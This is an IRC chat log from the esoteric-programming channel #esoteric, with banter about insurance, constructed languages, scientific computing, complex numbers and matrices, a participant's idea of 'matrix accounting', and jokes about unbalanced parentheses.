13:21:54 <Phantom_Hoover> Like, he seems to think that if you don't have enough capital to hand to pay off any conceivable loss you're living beyond your means.
13:32:52 <fizzie> This sounds vaguely related to the insurance-is-a-lie thing.
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13:52:03 <oerjan> total risk avoidance is not an evolutionary optimal strategy
13:53:44 <Phantom_Hoover> He keeps going on about self-insurance, which seems to be simply hanging onto the money and investing it.
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16:42:31 <lambdabot> [45,32,8211,32,8212,32,8211,32,45]
16:43:44 <fungot> Phantom_Hoover: gsi-ffs.scm just has a tendency to give procedures meaningful, spelled out, names, unlike " fnord)"
16:44:46 <oerjan> `addquote <fungot> Phantom_Hoover: gsi-ffs.scm just has a tendency to give procedures meaningful, spelled out, names, unlike " fnord)"
16:44:46 <fungot> oerjan: but i already looked at museme?
16:44:54 <HackEgo> 820) <fungot> Phantom_Hoover: gsi-ffs.scm just has a tendency to give procedures meaningful, spelled out, names, unlike " fnord)"
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17:14:31 <fungot> 45 32 226 128 147 32 226 128 148 32 226 128 147 32 45
17:14:44 <fizzie> It doesn't do multibytes, though.
17:14:58 <fizzie> Or, rather, doesn't convert them to codepoints like that. Of course it "does" them.
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17:16:21 <fizzie> The decimal-input in ^chr isn't exactly very resilient.
17:19:48 <fungot> ,[>[->+10<]>[-<+>]<2-48[>+<-],]>.
17:20:31 <fizzie> The usual *= 10, += x-48 style thing.
17:20:37 -!- Friendship has set topic: What kind of juice do you like? What do you do while you drink juice? | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
17:23:36 <fizzie> Juice: http://p.zem.fi/vjrz
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17:59:26 <elliott_> 10:17:34: <fizzie> ais523: I don't think anyone really "agrees" with the topic; that's why it is the topic.
17:59:31 <elliott_> fizzie: Thank you, you took the words right out of my mouth
18:00:38 <mroman> I drink juice while drinking juice.
18:00:44 <mroman> Because I like tautologies.
18:01:10 <elliott_> 10:18:53: <itidus20> no and neither. but uhhh maybe i should say it this way.. you're knowledgable in some field
18:01:10 <elliott_> 10:19:01: <itidus20> maybe not from your perspective...
18:01:10 <elliott_> 10:19:18: <itidus20> but it is as if you are rich with knowledge of these things
18:01:10 <elliott_> 10:20:00: <itidus20> as if you collect these facts as readily as X collects a lot of Y
18:01:16 <elliott_> trying to fathom how ais523 said yes to a statement this meaningless
18:02:45 <itidus21> i ranted in another room.. what someone finally said was
18:02:52 <itidus21> <Jessicatz> you should stop talking out of your arse
18:02:52 <itidus21> <Jessicatz> and do something productive instea
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18:04:21 <elliott_> i don't suppose you plan to follow this advice
18:04:33 <itidus21> punktuashun: Just like Buddha, or Pacman, or facebook, or Coke? Itidus... seriously...
18:04:33 <itidus21> punktuashun: You need to go out and get some fresh air.
18:05:01 <elliott_> I am happy I did not see the nonsense that preceded that.
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18:06:39 <elliott_> 10:31:11: <itidus20> and in this way... if i create my own conlang... it will have value for me because i made it
18:06:39 <elliott_> 10:31:38: <itidus20> even though it wouldn't be better than a conlang anyone else made
18:06:39 <elliott_> 10:38:31: <itidus20> all in all i have no idea what avenues it could open up for my thinking
18:06:45 <elliott_> itidus21: the sapir-whorf hypothesis is discredited.
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18:09:47 <itidus21> well i won't beat around the bush.. i'll posit
18:13:07 <itidus21> i admit that i and probably most people don't expect any changes by learning a second or additional common natural language.. and it can't be denied that hyperpolyglots don't seem to be making much noise about the wonders of language learning.
18:17:41 <itidus21> and with the sapir whorf hypothesis discredited i suppose this also extends to new languages like esperanto, lojban and toki pona.. but i still think there is some hope of avoiding trauma associated with certain words by having a new set of words perhaps representing a different culture or philosophy.. or perhaps.. as a countering to marketing tactics which emphasise the power of words and repetition
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18:18:47 <elliott_> Oh god, that Haskell-vs-Python post is on proggit again.
18:19:22 <itidus21> so basically.. i am trying to clean the words in my head
18:20:16 <calamari> I'm curious, has anyone here done scientific computing? If so, what programming areas are used?
18:20:55 <itidus21> now if associations are based on concepts rather than the words that describe concepts then i would be royally screwed from the beginning of this plan
18:22:50 <elliott_> calamari: Ask fizzie, he's a fake scientist.
18:24:00 <itidus21> http://en.wikipedia.org/w/index.php?title=Talk:Self-efficacy&diff=prev&oldid=263751504#Citation_cleanup_needed :-P
18:24:42 <itidus21> uhmm in the bottom section there it says, Erased [citation needed]; self-explanatory in nature. Citation logically needed due to the fact that 'Research shows' precedes the statement. Cleanup in this context and others would make a much cleaner page.
18:26:48 <itidus21> so someone erased a citation needed and prefixed the sentence with "Research shows" and thought they could get away with it. wikispotting is fun
18:28:09 <fizzie> calamari: Speech recognition is a well-established field of fake science.
18:29:11 <fizzie> I'm not entirely sure what "area" means there, though.
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18:33:54 <HackEgo> Maybach: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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18:35:00 <itidus21> as in "which programming categories are used?"
18:35:55 <itidus21> to which i would guess all of them...
18:36:17 <itidus21> but i am not qualified to say anything about computers honestly
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18:37:14 <fizzie> elliott_: One more point for your accurate welcomings, I guess.
18:38:12 <elliott_> I like how they all leave before we can
18:38:17 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
18:39:31 <elliott_> http://stackoverflow.com/questions/9606942/good-sound-libraries Hypothesis: No question tagged [python] [ruby] [node.js] [haskell] is good.
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18:42:37 <olsner> I used fftw to make a spectrum analyzer in haskell once, that's probably very nearly the thing he asks for
18:43:09 <olsner> is there a binding for that or did I have to make one?
18:44:52 <fizzie> I would certainly guesstimate there is.
18:45:02 <fizzie> I mean, it's the FFT library.
18:45:46 <fizzie> Anyway, I'm still unsure what the question was about; languages, libraries, "platforms", whatnot.
18:46:13 <fizzie> But MATLAB is "the language of technical computing", that's what all their promotional literature says.
18:46:14 <olsner> fizzie: it's about node.js
18:46:24 <elliott_> http://hackage.haskell.org/package/fft http://hackage.haskell.org/package/vector-fftw
18:46:53 <fizzie> olsner: JAVASCRIPT on the SERVER.
18:47:28 <elliott_> fizzie: Remember when that was all "the rage" circa early 2000s?
18:47:54 <fizzie> No. But I've heard of Node.js, so it must be pretty popular.
18:48:52 <elliott_> No, no, that's JavaScript-on-the-server 2.0.
18:49:08 <fizzie> Oh? Well, maybe it was.
18:49:22 <fizzie> I head Node.js is all V8.
18:53:18 <elliott_> _ __, _ _ __, _ _ __| | | __, _|_ ,_ _ __|
18:53:18 <elliott_> |/ \_/ | | / |/ | / | / |/ | / | |/ \ / | | / | |/ / |
18:53:18 <elliott_> |__/ \_/|_/|_/ | |_/ \_/|_/ | |_/\_/|_/ | |_/\_/|_/|_/ |_/|__/\_/|_/
18:54:15 <fizzie> ▄ ▄ ▝ ▄ ▄ ▄ ▌ ▌ ▄ ▟▖▖▖▗ ▌
18:54:15 <fizzie> ▙▘▄▌▐ ▌▌ ▄▌▌▌▞▌ ▛▖▄▌▐ ▛ ▛▘▞▌
18:54:15 <fizzie> ▌ ▀▘▝ ▘▘ ▀▘▘▘▝▘ ▘▘▀▘ ▘▘ ▝▘▝▘
18:54:24 <fizzie> (I had the terminal still open.)
18:56:49 <elliott_> Oh no, one of the lines got lost.
18:58:31 <olsner> ASP had javascript as an option :)
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18:58:47 <fizzie> olsner: JScript, I think.
18:59:09 <elliott_> Yes. It's like JavaScript, except nobody is allowed to expect them to follow the standards.
18:59:34 <fizzie> And Java six-I-mean-one-point-six-I-mean-what-do-I-mean? brought a standard "javax.script" built on Rhino or something.
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19:01:44 <elliott_> You can get in... but you can't get out.
19:02:07 <fizzie> Nobody can hear your scream... in the ANALOG HOLE.
19:04:16 <elliott_> Have I mentioned that CSS sucks?
19:09:40 <Sgeo_> What doesn't suck/
19:09:50 <Sgeo_> Although things that are widely used standards may suck more.
19:10:03 <Sgeo_> And then people actually have to deal with the suck, rather than walk away from the suck.
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19:25:14 <Friendship> <fizzie> 19:02:07> Nobody can hear your scream... in the ANALOG HOLE.
19:25:27 <Friendship> Nobody can year your scream... in your MATRIX OF SOLIDITY.
19:25:38 <fizzie> I don't think screams are yeared.
19:30:48 -!- HalfTauRSquared has changed nick to pir^2.
19:32:55 <elliott_> Heyyyyy guess who just rewrote the http://esolangs.org/wiki//// spec????
19:34:25 <calamari> fizzie: basically I'm curious what types of programming skills would be emphasized. for example networking, concurrency (and maybe subcategories of these), etc
19:34:52 <itidus21> calamari: i was just being a troll before,, i apologize
19:34:53 <pir^2> but... http://esolangs.org/w/index.php?title=///&oldid=3704
19:35:43 <calamari> itidus21, no apology necessary :)
19:36:29 <pir^2> how did you generate the quine?
19:36:43 <itidus21> i just happened to be selecting music for my winamp just now and stumbled upon loituma folder.. and i can't help feel uplifted
19:36:51 <elliott_> pir^2: I didn't write that quine...
19:36:51 <calamari> Friendship, have you used canvas in javascript? is it slow?
19:37:11 <elliott_> pir^2: All that stuff is oerjan's doing.
19:37:18 <Friendship> I have used it. I haven't tried to do anything sophisticated enough to judge its speed.
19:37:47 <fizzie> calamari: Based on my experiences, scientists as a group tend to not really emphasize "skill" in programming, more like horrible cobblering together of brittle messes. But of course knowing about parallelism would be useful if you work with large datasets, which is what most do. (But they've got things like MATLAB Distributed Computing Server to help in the dirty bits.)
19:37:49 <elliott_> @ask oerjan Does the /// program /// halt? It replaces all occurrences of the empty string in the empty string with the empty string.
19:38:00 <calamari> Friendship, ah okay I was thinking of trying to port FillyPaint from Java to Javascript.. since Java was failing me at cross platform compatibility
19:38:41 <pir^2> isn't that the point of Java?
19:38:51 <Friendship> calamari: For something like that I can't imagine that canvas would be too slow.
19:39:04 <calamari> fizzie, thanks. I'm just trying to put some bs together to do well at a job interview.. since I've never done any scientific programming I figured my best shot would be to ephasize whatever component skills it required
19:39:15 <Friendship> emscripten can play video on a canvas at 30FPS, but that's just straight blitting *shrugs*
19:39:15 <calamari> pir^2, you would think so, yes
19:42:50 <elliott_> Friendship: What's one of the codepoints that are explicitly invalid, not just reserved for future use?
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19:47:20 <fizzie> calamari: It certainly doesn't seem to require at least very much skill in programming in order to be a scientist. But I suppose some pre-existing knowledge on the systems used could help. MATLAB was mentioned and is pretty popular esp. for prototyping algorithms, and quite often that's all one needs. I suppose in some fields you might easily encounter some R, or maybe some MPI stuff. And people actually still do some FORTRAN, but I doubt anyone ...
19:47:26 <fizzie> ... would assume a working FORTRAN knowledge. Then there's all kinds of maybe lesser-used things, like SciPy, as well as topic-specific tools. Oh, and things that have to do with "grid computing", like, uh... Hadoop/MapReduce, stuff like that. In general, people are not usually doing very "low-level" things, like networking, manually.
19:48:10 * elliott_ thinks the term "scientific computing" is far too vague to be answering in all these details.
19:48:37 <fizzie> Normal operating procedure seems to be to find suitable components that are more or less related to what you're trying to accomplish, and bolt them together into a ball, instead of actually programming things.
19:48:56 <fizzie> Of course it's a bit different if you actually end up implementing something that doesn't yet exist.
19:49:21 <fizzie> It's a dirty job, but someone's gotta do it, I suppose.
19:50:58 <fizzie> elliott_: Well, I was just trying to think of things that are sort of multidisciplinary, even if they happen to still be specific things that you very easily might not happen to encounter.
19:51:21 <fizzie> Lots of happening there.
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20:17:06 <Taneb> Well, we've finished reading Salom and began Lady Windemere's Fan
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20:36:51 <elliott_> Friendship: Tell Phantom_Hoover he should watch TNG.
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20:50:01 <fizzie> @tell elliott_ there's actually a bot that can tell people things.
20:51:27 <elliott_> @ask fizzie Who do you trust more: lambdabot or the abstract concept of friendship itself?
20:52:42 <Phantom_Hoover> http://www.reddit.com/r/science/comments/qkxns/new_research_has_been_published_that_states_that/c3yjo4t
20:54:34 <elliott_> Hey, it's one of those arguments where I hate everybody on both sides.
20:54:34 <lambdabot> elliott_: You have 1 new message. '/msg lambdabot @messages' to read it.
20:55:49 <elliott_> What is 'Space' expanding into? (self.askscience)
20:55:53 <Phantom_Hoover> Note that the other side isn't arguing in favour of using corporal punishment as a way of forcing obedience, but to stop the child from potentially killing itself.
20:56:05 <Phantom_Hoover> elliott_, did I tell you about the time my chemistry teacher asked that.
20:56:31 <Taneb> Space doesn't exist except as an abstract notion. It's the things that exist that are spreading out in space.
20:56:36 <Phantom_Hoover> I say asked because she already knew that the answer was "nobody knows", even after I tried to explain it.
20:56:37 <Taneb> I'm rehearsing for reddit
20:57:08 <elliott_> Phantom_Hoover: I know what the other side is arguing in favour of.
20:58:06 <Phantom_Hoover> It's the perfectly concrete thing whereby stuff isn't all in the same place.
20:59:25 <Taneb> I'm not great at explaining things. When I try to explain complex numbers, I make people lose all concrete grasp of mathematics.
21:00:53 <itidus21> is the problem that mathematicians don't actually know anything about space that the average joe doesn't know?
21:01:14 <Taneb> Astrophysicisists in this case, itidus21.
21:01:19 <Taneb> It's a different kind of space
21:01:21 <Phantom_Hoover> Taneb, it's just the application of the Cayley-Dickson construction to the reals!
21:02:01 <Taneb> Phantom_Hoover, my explanation goes along the lines of "What do you mean they don't exist! No numbers exist!
21:04:36 <Phantom_Hoover> Taneb, I think it's a lot easier to introduce if you just show them it as operations on tuples.
21:06:22 <Taneb> Possibly, but that doesn't explain the idea behind them
21:06:27 <elliott_> I remember when I figured out complex numbers and I was like "wtf, they're just tuples".
21:06:39 <elliott_> Like, I spent tons of MENTAL PREPARATION.
21:07:03 <Phantom_Hoover> It'd be much much much easier if you didn't tell people beforehand that you can't take the square root of a negative number.
21:07:37 <Taneb> Am I the only person who just understood complex numbers, without many analogies or other things of the sort?
21:07:47 <itidus21> i understand.. i have failed to find the "wtf they're just X" in the quest to understand the various turing tarpit models of computation
21:08:14 <Phantom_Hoover> Just one which most tend to be inclined against approaching from the right direction.
21:08:22 <Taneb> Now matrices I found confusing
21:08:51 <Phantom_Hoover> Matrices are just the action of a linear transformation on a basis.
21:09:03 <Taneb> I'm not good at the lingo.
21:09:09 <itidus21> i think the word "imaginary" does a lot of damage
21:10:47 <Phantom_Hoover> A linear transformation is a function f from one vector space to another such that f(u + v) = f(u) + f(v) and f(ku) = kf(u).
21:11:30 <Phantom_Hoover> A basis is any set of vectors such that you can't form any of them by adding the others together and scaling and you can make any other vector by adding and scaling them.
21:12:13 <zzo38> Matrix mathematics are useful in many cases, including but not limited to vectors and so on. (You can also make up a matrix to act like complex numbers, and so on)
21:12:54 <itidus21> *gestures excitedly* matrices are eerily useful.
21:12:56 <Phantom_Hoover> It's easy to show that for any matrix M, f(v) = Mv is a linear transformation, and two linear transformations which transform all the vectors of a basis in the same way must be the same.
21:14:24 <zzo38> (I have even thought of ways to use matrices for accounting too)
21:14:37 <itidus21> Matrices remind me of CA's .. this leads me to ponder what algebra on CA's might mean.
21:15:59 <Phantom_Hoover> Taneb, have you been shown the thing where you can get the matrix associated with a transformation by working out what it does to the points with 1 coordinate set to 1 and the others to 0?
21:16:09 <itidus21> mouse running on a wheel in my head
21:17:06 <Taneb> Phantom_Hoover, I think so...?
21:17:23 <Taneb> For 2x2 matrices, anyway
21:17:43 <Taneb> I'd assume the concept could be expanded into larger matrices
21:19:44 <itidus21> the trouble with > 3 spatial dimensions is that we don't have any way of imagining what a world with 4d light, 4d water, 4d gravity, 4d animals, 4d plants, 4d houses, 4d planets, 4d solar systems, etc would look like
21:20:22 <itidus21> its just such an extremely hard prospect for the imagination
21:20:37 <itidus21> like in 3d we have 3d solids 3d gases 3d liquids
21:24:08 <zzo38> Well, we can think about their properties, even if we cannot imagine how we would actually see them and do stuff with them
21:25:43 <Taneb> Flatland was a book on mathematical theory with thinly veiled satire on contemporary culture; Alice in Wonderland was a book on culture with thinly veiled satire on contemporary mathematical theory
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21:27:14 <itidus21> well i can't help but imagining everything to be kind of shiny....
21:27:24 <itidus21> like the sun shining on the ocean
21:28:07 <itidus21> probably not particulary healthy to think about too
21:28:53 <itidus21> so.. if you had a 4d terrain.. could you run on it in 3 dimensions... and jump up in 1 dimension?
21:29:06 <Phantom_Hoover> Taneb, I was really amused when a book of cruel and unusual geometry I found in school had one result in hyperbolic geometry which noted that Lewis Caroll said it was bullshit when he heard about it.
21:30:30 <Taneb> Lewis Caroll was the best mathematician/author/poet/photographer in Victorian England
21:31:05 <itidus21> i downloaded everything i could find written by him online
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21:31:14 <itidus21> but as is a pattern with me i didn't read it
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21:33:06 <itidus21> there is also the question of 4d atoms.. 4d subatoms.. 4d elements.. 4d molecules..
21:34:11 <zzo38> itidus21: If you know some things about physics and chemistry, you can try to think about such things as that; you could make up different laws of physics to describe them if it is necessary to do so, etc
21:34:14 <itidus21> up through to 4d cells.. 4d tissue.. 4d organisms.. 4d species
21:34:54 <itidus21> i just have a strong intuitive sense that the water is extremely shiny in 4d land
21:35:20 <zzo38> One day, I was trying to think of how to use complex numbers in accounting; and then I discovered that complex numbers have no use in accounting but matrices do have a use in accounting.
21:35:31 <HackEgo> rvchangue: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:35:44 <zzo38> itidus21: But then you have to describe the way of shiny in four dimensions instead of three dimension
21:36:20 <itidus21> probably my senses lying to me a bit
21:36:41 <itidus21> im not actually thinking in 4d after all
21:37:24 <zzo38> Phantom_Hoover: Ask Sgeo; I don't know.
21:39:00 <zzo38> Do you believe me that complex number have no use in accounting, but that matrices (and even Dirac notation) can have use in accounting?
21:39:17 <Phantom_Hoover> No, since complex numbers can be expressed as matrices?
21:39:43 <Taneb> Since you may need to find out the root of all this negative income?
21:39:58 <zzo38> I know that complex numbers can be expressed as matrices.
21:40:25 <Phantom_Hoover> Sgeo_, HOW CAN YOU GET THE TIMINGS SO WRONG ALSO THE NOTES A(RTGAI
21:40:38 <zzo38> Taneb: No, that isn't how it works...
21:41:12 <itidus21> ok so to see in 4d.. first you need a 3 dimensional retina
21:41:24 <zzo38> (For one thing, there is a way to make matrices satisfy GAAPs, although complex numbers don't satisfy that and using them to find out the root of negative income certainly does not follow GAAPs.)
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21:42:48 <itidus21> presumably shaped like a pyramid
21:43:43 <itidus21> and my brain gives out at that stage
21:43:54 <zzo38> (You probably will still be using standard double-entry notation to record transactions, although Dirac notation becomes useful for reasoning about them and describing them in various other ways, dealing with them in other ways, etc. However, if you write them in Dirac notation you can convert them to standard notation if you have the current state vector, since its meaning might be dependent on the current state vector.)
21:44:58 <zzo38> Now do you understand a bit better>
21:47:24 <Phantom_Hoover> No. I don't think you've ever managed to communicate anything to anyone.
21:47:46 <Phantom_Hoover> You might succeed if you tried to express your frustration at something,.
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21:53:51 <zzo38> One of the elements in the state vector is just set to 1 so that a transaction can use that; it can be used to represent the currency unit, and you might have more than one such element in the state vector. Each account, or even a part of an account if you need to split it into multiple parts, can be represented by covectors. Do you know about double entry accounting?
21:55:40 <zzo38> One of the properties is that transactions (including macro transactions) forms a monoid.
21:58:59 <zzo38> Does any of this make any sense to anyone?
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22:09:22 <zzo38> If you include the date/time, then it forms a category.
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22:22:54 <Vorpal> zzo38, wait what, did you say "Dirac notation" and "double-entry notation" above?
22:23:01 <Vorpal> how are those even remotely related?
22:23:26 <zzo38> Vorpal: Yes I did say that. They are not related but you can see what I meant by that if you read it.
22:23:32 <Vorpal> one is for representing quantum states as far as I understood, the other is for economic transactions
22:23:38 <Vorpal> and no what you said makes no sense
22:23:57 <zzo38> True; you are correct. However, Dirac notation can be used with any matrices; not necessarily quantum states.
22:24:27 <Vorpal> well, you may be correct, I never used dirac notation
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22:25:00 <zzo38> (But just because Dirac notation can be used with any matrices, it doesn't mean it is commonly used for anything other than quantum states.)
22:25:46 <zzo38> And why do you think what I said makes no sense? What parts are unclear to you?
22:25:49 <Vorpal> I didn't even know quantum states were matrices, I haven't studied quantum mechanics at all beyond "popular science"
22:26:11 <zzo38> Vorpal: They can be represented as matrices.
22:26:34 <Vorpal> nor did I know double entry bookkeeping were matrices
22:27:04 <zzo38> Nobody did until I figured out how to represent them as matrices; and even then, nbodoy else understands what I mean.
22:28:13 <Vorpal> zzo38, not sure what sort of matrix operations would even make sense on double entry book keeping though
22:28:23 <Vorpal> I mean, why is it an advantage to use that representation
22:29:09 <Vorpal> can you get interesting results by, say, transposing them, or reducing them to row echelon form or such?
22:31:22 <fizzie> I think I saw <a| and |b> and <a|b> somewhere in a non-quantum context. Can't figure out where, though, so I might just be making it up.
22:31:23 <lambdabot> fizzie: You have 1 new message. '/msg lambdabot @messages' to read it.
22:32:14 <zzo38> I don't yet know about transposing them or reducing to row echelon form or such (I don't even know what row echelon form is); but it might turn out to mean something.
22:32:37 <Vorpal> zzo38, you know how to solve a linear equation system using matrices?
22:32:42 <zzo38> But multiplication of matrices, and using vectors and covectors, does have use that I know about.
22:32:50 <Vorpal> The Gauss Jordan method and such
22:32:54 <zzo38> Vorpal: I know a few things about that.
22:33:13 <Vorpal> zzo38, when you do that you reduce your matrix to reduced row echelon form
22:33:47 <zzo38> And yes you are correct, you might be able to use those kinds of solve linear equation system to decide business stuff possibly.
22:33:53 <Vorpal> zzo38, https://en.wikipedia.org/wiki/Row_echelon_form
22:33:59 <zzo38> Vorpal: O, that's what reduced row echelon form is. OK.
22:34:43 <zzo38> Now I can think of other uses for row echelon form in matrix accounting.
22:35:05 <Vorpal> zzo38, anyway, how /do/ you represent double entry book keeping as matrices? Can you give some examples typeset in TeX? (PDF please, I don't have a .ps or .dvi viewer on this computer)
22:36:01 <Vorpal> zzo38, row echelon form is the one where you haven't removed non-zeros above the leading ones in, /reduced/ row echelon form is the one where you have removed those non-zeros
22:36:11 <zzo38> I don't have PDF, I only output to DVI. However, I can use PNG if you prefer that.
22:36:14 <fizzie> Also, do you already happen to have uses for eigenvalues in matrix accounting?
22:36:32 <zzo38> Normal row echelon form seems useless in this context but reduced row echelon form seems potentially useful to me.
22:37:21 <Vorpal> fizzie, I wonder what happens if you use the least square method on those matrices too.
22:37:33 <Vorpal> might be useful to approximate in case of errors
22:37:39 <zzo38> Yes, it does mean you can think about such things as these to see what happen.
22:37:43 <Vorpal> rather than having to redo it all to find the error as is usually done :P
22:38:13 <zzo38> Vorpal: O, yes good idea.
22:38:43 <Vorpal> anyway I forgot how you did that with matrices
22:39:00 <Vorpal> didn't you transpose one matrix and multiply it with another or some such?
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22:43:09 <zzo38> This example matrix: http://zzo38computer.cjb.net/texify/texify.php?TeX=%24%24%5Cbmatrix%7B1%260%26-5%5Ccr0%261%265%5Ccr0%260%261%5Ccr%7D+%5Cbmatrix%7B100%5Ccr-100%5Ccr1%5Ccr%7D+%3D+%5Cbmatrix%7B95%5Ccr-95%5Ccr1%5Ccr%7D%24%24&R=255&G=255&B=255&r=0&g=0&b=0&rotate=0&size=x&make=r Where you have a simple transaction -5 to one account and +5 to another (balancing out). You can have more complicated ones for Income Summary, salary/interest of pa
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22:45:10 <Vorpal> zzo38, so all accounts are in the same matrix?
22:45:20 <zzo38> Now I know what "ref" and "rref" stand for in the names of those functions in the TI-92 calculator. I knew what they did but not why they were called that; now I do know.
22:45:38 <Vorpal> zzo38, same for TI-83+ btw
22:45:50 <Vorpal> TI-92 can do symbolic computations can't it?
22:46:04 <zzo38> Vorpal: Yes it can do that.
22:46:20 <Vorpal> so usually not allowed on exams (while the TI-83+ is on many)
22:47:09 <zzo38> Vorpal: Yes; but you generally you can use a subset of all the accounts for convenience, or use Dirac notation for convenience. (You need not write out the entire matrix every time)
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22:48:45 <zzo38> And, yes; the TI-92 is usually not allowed on exams; not only due to symbolic computations but also because it has a QWERTY keyboard, apparently. (Although there are a few special test papers which allow you to use any calculator you want)
22:49:01 <Vorpal> zzo38, so how do you make the financial statement (google translate from "bokslut" so might be wrong) at the end of the fiscal year using your matrices?
22:49:49 <Vorpal> hm google translate also suggests "annual report"
22:49:53 <Vorpal> so that might be better
22:50:16 <zzo38> Vorpal: In general you still record using double-entry notation; but you can use the state vector to prepare a statement easily: Each element of the vector corresponds to an account, so simply put those numbers next to account names. You can also multiply all the transactions together for a year for other information.
22:50:56 <zzo38> (Hence how I have also said you can include the date/time and form a category as well instead of only a monoid.)
22:51:38 <fizzie> Vorpal: You multiply all the transactions together, and print out the full matrix, then give that to your executives. They'll just smile and nod and not complain, which is what they might do if you gave them a list of transactions.
22:51:56 <fizzie> (Written from the perspective of an accountant.)
22:52:45 <zzo38> fizzie: I meant you have to format the results. Printing out the full matrix is not very useful.
22:53:01 <zzo38> (And in addition would probably waste a lot of paper.)
22:53:40 <Vorpal> fizzie, not sure what skattemyndigheten would say though (whatever that is called in English)
22:53:57 <Vorpal> pretty sure you are required to hand them some of those things in Sweden at least
22:54:44 <fizzie> I'm just hoping for "Linear Algebra for Accountants" courses in business schools.
22:54:46 <zzo38> (When I first invented matrix accounting, I did not know about category theory. But now I know how categories can work with it too.)
23:00:28 <zzo38> In the past I have worked out the matrices for partnership accounting too; but I have forgotten now and would have to work them out again if I want to figure them out again.
23:05:10 <fizzie> (But Real Soon, I purrmise.)
23:05:20 <Friendship> "Caregiver" and "caretaker" are synonyms. lolenglish
23:06:41 <elliott_> fizzie seems to be having trouble getting a grasp on the issue.
23:06:50 <elliott_> Personally, I'm having trouble grasping his problem.
23:07:13 <Friendship> Suffice it to say that much grasping is going on.
23:15:01 <Friendship> To any who recall the questions I showed yesterday, I have now answered them.
23:15:43 <Friendship> Phantom_Hoover: http://codu.org/logs/log/_esoteric/2012-03-07#034537Friendship
23:16:27 <Friendship> Anyway, I wrote out my answers while in front of a lab of students, so got some crowdsourcing for ideas.
23:18:02 <Friendship> Phantom_Hoover: I don't know what you look like.
23:18:46 <Friendship> Thank you for that precise description.
23:19:19 <elliott_> > > What was the motivation behind having people vote on your daily hat
23:19:20 <elliott_> Profound laziness. I used to actually make decisions, but found that
23:19:20 <elliott_> it's much easier for others to make all my decisions for me. See also
23:19:20 <lambdabot> <no location info>: parse error on input `>'
23:19:21 <elliott_> choosemyshoes.com, choosemydate.com, choosemysexualorientation.com,
23:19:26 <elliott_> Friendship: You gotta register those before sending it.
23:19:47 <Friendship> Sorry, already sent; and I'm not wasting that money quite so haphazardly X-D
23:20:32 <elliott_> There's still time before they read it.
23:20:40 <elliott_> Hmm, more like 30 bucks I guess.
23:21:00 <Phantom_Hoover> -- Gregor "Sure, I'll spend $1000 on libc.so" Richards.
23:21:01 <Friendship> Besides, I'm not confident that I actually want to put my sexual orientation to popular vote.
23:21:13 <Friendship> Phantom_Hoover: libc.so ain't the same as choosemyshoes.com
23:21:39 <elliott_> Guys, Friendship would live in Texas if they had good universities.
23:22:11 <elliott_> "I hollow out bars of soap and fill them with liquid." Me too!
23:22:27 <elliott_> Except it's not soap liquid I put in them. I've said too much.
23:22:42 <lambdabot> <no location info>: parse error on input `>'
23:23:49 <elliott_> Friendship: Somehow you have managed to rescue these disastrous interview questions and made the result entertaining.
23:24:26 <elliott_> Friendship: HOWEVER, I am disappointed that you did not conspicuously predict one of the future questions in the answers.
23:24:33 <elliott_> That is the duty of all interviewees given all questions in advance.
23:26:09 <Friendship> There's probably a Lancaster, England, Massachusetts, US :)
23:26:19 <Friendship> I wouldn't put it past them to name a district "England"
23:26:29 <elliott_> As far as I can tell, Massachusetts is England, except in America.
23:26:45 <elliott_> "You know what these united states need?" "What?" "England."
23:27:46 <elliott_> "OK, now that we've built England, what are we gonna do with it?"
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23:43:18 <elliott_> AAAAAAAAAAAAAAAAAAAAAAAA MY FACE IMPLODE
23:46:04 <elliott_> Friendship: Did you see my REWRITTEN [[:///]] INTRO?
23:56:14 <Vorpal> <elliott_> Doesn't yours? <-- hm, exploding is more common than imploding in the Nordic countries. (Just ask oerjan)
23:56:39 <Vorpal> though imploding still does happen occasionally of course.
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01:18:43 <elliott_> Why is show 0001 not returning “0001”?
01:18:43 <elliott_> I am just asking a quick simple question here. I'm trying to code poker card rankings into 4 digit binary code (exp. 2 is 0010, 7 is 0111)(ignoring the suits for now). Then decoding and print it out.
01:18:44 <elliott_> To my knowledge the best way of changing a Int into a String is by using the function show. However, using it on this situation it drops all the zeros that is in front of the 1 (exp. show 0011 returns "11", show 0001 returns "1"). How do I keep the zeros?
01:18:52 <elliott_> Friendship: Don't you just hate it when printing an integer drops all the 0s at the start of it?
01:19:12 <shachaf> elliott_: That always happens to me!
01:19:31 <shachaf> It's as if show can't distinguish The obviously-different number 0011 and eleven.
01:21:01 <shachaf> It dropped the 0s. AND THE 1S. AND THEN IT INSERTED A 9.
01:21:14 <shachaf> No wonder people call C unsafe.
01:21:26 <elliott_> What?! C drops 2s, 3s and 4s as well?
01:21:51 <shachaf> !c printf("9\n", "elliott");
01:21:53 <Jafet> It must be using C99.
01:22:39 <Friendship> IS THERE NO DIGIT IT WON'T DROP IN FAVOR OF 9?!
01:24:47 <shachaf> To me it seems like you are converting it into integers rather than bytes integers are real numbers, so the zeros are removed.
01:24:50 <shachaf> to keep the zeros you have to keep the data as a string or create an array of bytes, if its converted into an integer the zeros are droped.
01:25:46 <elliott_> When I got there, that answer had 1 points and the other one 0. :(
01:30:07 <elliott_> Did you upvote the bad one? :(
01:31:30 <shachaf> Which one is the bad one again?
01:31:40 <shachaf> I like arrays of bytes. Arrays of bytes make good sense.
01:31:47 <shachaf> Good ol' byte arrays. You can always trust 'em.
01:32:12 <shachaf> (I didn't upvote any of them. I haven't logged in to SO in months.))
01:34:46 <elliott_> (That's opening the paren you accidentally closed.)
01:35:29 <shachaf> Parentheses don't work that way.
01:35:36 <shachaf> It will remain unbalanced forever.
01:35:53 <shachaf> elliott_: Actually I was closing an unbalanced '(' that was typed by monqy last week.
01:36:00 <shachaf> Now your '(' reunbalanced things.
01:36:30 <shachaf> (Pronounced "royn-balanced".)
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01:37:55 <shachaf> 17:37 -!- shachaf( Erroneous Nickname
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01:44:59 <shachaf> elliott_: I wrote a cd command that isn't a shell builtin.
01:46:34 <ion> I hereby declare that | balances any single unbalanced bracket.
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01:53:45 <elliott_> ||||||||||||||||||||||||||||||||||||||
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01:59:34 <Jafet> OCPD (Obsessive-compulsive personality disorder
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02:07:53 <[[[[[[[[> elliott_: )another way to keep your parentheses balanced(
02:12:02 <monqy> )(())()())(()())(()()()()()()())()(())(())(())(()())(((())))()()()(
